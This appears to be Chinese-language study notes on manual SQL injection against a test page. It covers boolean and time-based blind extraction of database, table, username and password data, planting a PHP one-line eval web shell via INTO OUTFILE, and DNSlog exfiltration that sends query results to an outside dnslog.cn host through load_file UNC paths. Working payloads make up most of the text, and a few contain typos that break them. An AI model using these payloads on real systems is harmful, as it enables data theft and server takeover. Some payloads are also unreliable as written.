布尔盲注
web页面只返回true真,false假两种类型
利用页面返回不同,逐个猜解数据
关键函数
ascii()
函数ascii() 美国信息交换标准代码,可以把字母转换为对应数字
select ascii('e');
查询命令可以执行,但不会返回信息到页面
可以试用ascii()把查询到的内容转换成数字,以真假页面来判断字母和s对应的数字是否正确
?id=1' and ascii(substr(select database()1,1)=? --+
#从第一个字符开始,依次显示一个字符,通过ascii码判断为什么字符即可
也可使用 >=、<=
布尔盲注
?id=1' and ascii(substr('abcd',1,1))>100 --+
把‘abcd‘替换成想查询的数据库语句即可
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
#此处没必要试用group_concat()函数,而是使用limit 0,1
#从第0行开始显示1行,从结果的第一行数据依次查询。
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100 --+
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+
?id=1' and ascii(substr((select password from users limit 0,1),1,1))>100 --+
时间盲注
web页面只返回一个正常页面。
利用页面响应时间不同,逐个猜解数据
前提是数据库会执行命令代码,只是不反馈页面信息
函数sleep()
参数为休眠时长,以秒为单位,可以为小数
函数id(condition,true,false)
select if(1=1,sleep(0),sleep(3));
#1=1为真,执行休眠时间0秒
而后在if中比较大小,根据布尔盲注内容
select if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3))
?id=1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) --+
sql注入文件上传
文件上传拿web shell
mysql文件上传要点
- show variables like ‘%secure%’; 用来查看mysql是否有读写文件权限;
- 数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;
- into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径。
进行闭合方式测试
?id=1'
#出现报错
?id=1' --+
#报错消除,则为单引号闭合,反之则不为单引号闭合,因此要进行多次测试
双引号可能不会报错,但可能实际的闭合方式不是双引号,由于双引号被两个 单引号闭合在里面,已经失去了双引号的功能。
判断指令是否正确
?id=1' and 1=2 --+
#若仍不报错,则说明可能是闭合方式有问题
#可用and 1=1和and 1=2判断闭合方式
测试列数
?id=1')) order by 3 --+
测试查询语句
?id=1')) union select1,2,3 --+
文件上传指令
一句话木马
<?php @eval($_POST['password']);?>
?id=-1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "D:\\phpstudy_pro\\WWW\\ben.php" --+
#<?php @eval($_POST['password']);?>为一句话木马
#password为预留密码
#D:\\phpstudy_pro\\WWW\\为文件路径
#ben.php为新插入的文件名
DNSlog手动注入
函数load_file()
select load_file("C:\\benben.txt");
UNC路径
格式:\servername\sharename,其中servername是服务器名,sharename是共享资源的名称。
目录或文件的UNC名称可以共享名称下的目录路径,格式为:\servername\sharename\directory\filename
需要用到的网站
http://ceye.io
http://www.dnslog.cn/
使用以上网站进行子域名创建之后,对数据库使用load_file()函数
select load_file("//",(select database()),".xxx.xxx.com");
而后,回到网站,点击refresh record,即可看到尝试访问的域名,由此可以得到database()的内容
手动注入
获得库名
and (select load_file(concat("//",(select database()),".1tqej8.dnslog.cn/benben"))) --+
#使用concat拼接字符串
获得表名
and (select load_file(concat("//",(select table_name from information_schema.tables where table_shcema=database() limit 0,1),".1tqej8.dnslog.cn/benben"))) --+
#使用concat拼接字符串
获得列名
and (select load_file(concat("//",(select column_name from information_schema.columns where table_shcema=database() and table_name=users limit 0,1),".1tqej8.dnslog.cn/benben"))) --+
#使用concat拼接字符串
参与讨论